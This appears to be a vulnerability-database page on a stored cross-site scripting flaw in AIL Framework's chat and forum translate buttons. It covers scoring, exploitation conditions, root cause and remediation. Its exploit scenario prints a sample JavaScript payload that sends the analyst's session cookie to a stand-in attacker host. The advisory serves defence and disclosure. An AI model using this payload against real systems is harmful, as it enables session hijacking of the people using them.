Skip to main content

AIL Framework CVE-2026-71447

| EUVDEUVD-2026-54194 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-06 5a6e4751-2f3f-4070-9419-94fb35b644e8 GHSA-6vfp-xx86-86wv
6.9
CVSS 4.0 · Vendor: 5a6e4751-2f3f-4070-9419-94fb35b644e8
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Post crafted identifier to monitored dark-web source
  2. Delivery
    AIL ingests and indexes malicious payload
  3. Exploit
    Analyst opens Chat/Forum Explorer view
  4. Execution
    Analyst clicks Translate button
  5. Persist
    Injected JS executes in analyst browser
  6. Impact
    Exfiltrate session token to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three chained conditions: (1) the attacker must be able to post or influence content on a dark-web source actively monitored and ingested by the target AIL instance, such that a crafted message or post identifier containing JavaScript-breaking characters (single quotes, backslashes) reaches AIL's index; (2) a logged-in analyst must navigate to the Chat Explorer or Forum Explorer view that renders the malicious entry; (3) the analyst must click the 'Translate to preferred language' button associated with that specific entry - passive browsing of the view is insufficient. Exploitation is limited by: active user interaction (UI:A in CVSS 4.0 - button click required, not just page load); the attacker's dependency on AIL actively monitoring a source they can write to; and the need to know or guess which entries an analyst is likely to translate. No authentication to the AIL system is required from the attacker's side. The vulnerability is not exploitable against AIL instances that do not use the chat or forum explorer translation feature, or where analysts never click the Translate button.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N) scores 6.9, but several signals sharpen the real-world picture. The UI:A requirement (active user interaction) is the primary risk limiter - an analyst must explicitly click the Translate button, meaning passive page load does not trigger the payload. However, this interaction is plausible given normal AIL analyst workflow: analysts routinely review and translate ingested dark-web messages. VC:H in CVSS 4.0 signals high confidentiality impact on the vulnerable system, consistent with session token theft from an authenticated analyst session, which could enable full account takeover or pivot to further platform actions. The PR:L classification in the provided vector suggests the vendor views some level of access as required; however, from an AIL-system perspective, the attacker does not need credentials to AIL - they need only post to a monitored dark-web source, which is externally achievable. No CISA KEV listing and no public POC have been identified, placing exploitation probability in the theoretical-to-researcher range at time of analysis. EPSS data was not provided. The real-world threat is specifically relevant to organizations relying on AIL for live dark-web intelligence: adversaries aware of the platform could deliberately seed poisoned content into monitored sources to compromise analyst sessions.

Exploit ScenarioDerived

An adversary operating on a dark-web forum monitored by a target AIL instance crafts a message or post whose identifier contains a single quote and injected JavaScript - for example, '');document.location='https://attacker.example/steal?c='+document.cookie;//. AIL ingests and stores this content; when an analyst opens the Chat or Forum Explorer and clicks 'Translate to preferred language' on that entry, the injected JavaScript executes in their browser under the AIL origin, exfiltrating their session cookie to the attacker. No public POC has been identified at time of analysis, and the attack requires prior knowledge of what sources the target AIL instance monitors.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 06, 2026

Stored cross-site scripting in AIL Framework's Chat Explorer and Forum Explorer views allows an attacker who can influence indexed dark-web content to inject arbitrary JavaScript into translation button onclick handlers, executing in the analyst's browser under the AIL security origin. Versions up to and including 7.0.0 are affected; the vulnerability stems from Jinja2 templates passing message and post identifiers through HTML escaping rather than JavaScript-safe encoding, leaving single-quote and escape-sequence injection paths open. No active exploitation has been confirmed (not in CISA KEV) and no public exploit code has been identified; exploitation requires the victim analyst to click the 'Translate to preferred language' button, limiting automated attack surface.

RemediationAI

Apply the upstream fix available at https://github.com/ail-project/ail-framework/commit/884662517cf02c3eac928fa68c5a19ec35138b45, which corrects the template interpolation in both block_message.html and forums_explorer_thread.html by replacing raw HTML-escaped string embedding with the Jinja2 | tojson filter, ensuring JavaScript-safe encoding of all identifier values. A formally tagged patched release version was not confirmed from available data - verify with the AIL Project GitHub releases page whether a version after 7.0.0 incorporates this commit before deploying. If immediate patching is not possible, restrict access to the Chat Explorer and Forum Explorer views to only fully trusted analysts via AIL's role controls, which reduces but does not eliminate the attack surface. Alternatively, removing the Translate to preferred language buttons from both templates eliminates the injection entry point entirely at the cost of losing translation functionality. Applying a Content Security Policy header that blocks inline event handler execution (script-src 'self') would mitigate this class of stored XSS broadly, though retrofitting CSP to an application with inline onclick handlers requires additional template refactoring to be effective.

Affected VersionsENISA

ail-framework 0 ≤7.0.0

Affected Packages

euvd ail_framework no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AIL Framework (Analysis Information Leak framework) is a modular threat-intelligence platform that ingests, indexes, and analyzes data from dark-web sources including chat channels and forums. The vulnerable components are two Jinja2 HTML templates: var/www/templates/chats_explorer/block_message.html and var/www/templates/forums_explorer/forums_explorer_thread.html. These templates rendered message['id'], mess_id_escape, post['id'], and post_id_escape values directly into inline onclick attribute handlers using Jinja2's default HTML auto-escaping ({{ value }}). CWE-79 (Improper Neutralization of Input During Web Page Generation - XSS) identifies the root cause: HTML auto-escaping encodes <, >, &, and " for HTML contexts but does not encode single quotes, backslashes, or other JavaScript metacharacters needed for safe embedding inside single-quote-delimited JavaScript string arguments. Because the onclick handlers wrapped arguments in single quotes, a crafted identifier containing a single quote could escape the string literal and inject arbitrary JavaScript into the event handler. The upstream fix (commit 884662517cf02c3eac928fa68c5a19ec35138b45) replaces '{{ value }}' patterns with {{ value | tojson }}, which JSON-encodes values as proper JavaScript literals with all necessary escaping, and switches the outer attribute delimiter to single quotes to remain syntactically consistent.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (5a6e4751-2f3f-4070-9419-94fb35b644e8) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N
vuln.today AI 8.2 HIGH

AV:N and PR:N because the attacker posts to an external monitored source without AIL credentials; UI:R and S:C reflect required analyst click and browser scope change; C:H for session hijacking risk, I:L for limited browser-context integrity impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (5a6e4751-2f3f-4070-9419-94fb35b644e8).

CVSS VectorVendor: 5a6e4751-2f3f-4070-9419-94fb35b644e8

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

AIL Project contains a stored cross-site scripting vulnerability in the translation controls displayed for chat messages and forum posts.

The affected templates inserted message and post identifiers directly into inline JavaScript onclick handlers:

onclick="translateMessageToPreferredLanguage('{{ message['id'] }}', '{{ mess_id_escape }}', this)"

and:

onclick="translatePostToPreferredLanguage('{{ post['id'] }}', '{{ post_id_escape }}', this)"

These values were HTML-template escaped but were not safely encoded for use as JavaScript string literals inside an HTML attribute. A specially crafted identifier containing quotation marks, escape characters, or other JavaScript syntax could therefore terminate the expected string argument and inject arbitrary JavaScript into the event handler.

Because the affected values are associated with indexed chat messages or forum posts, a malicious value may remain stored by AIL and be rendered whenever an analyst accesses the corresponding chat or forum explorer view.

Successful exploitation requires the victim to click the affected Translate to preferred language button. The injected code would then execute in the victim’s browser under the security origin of the AIL instance.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Prevalence
Low
niche threat-intelligence platform used by specialized security teams
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy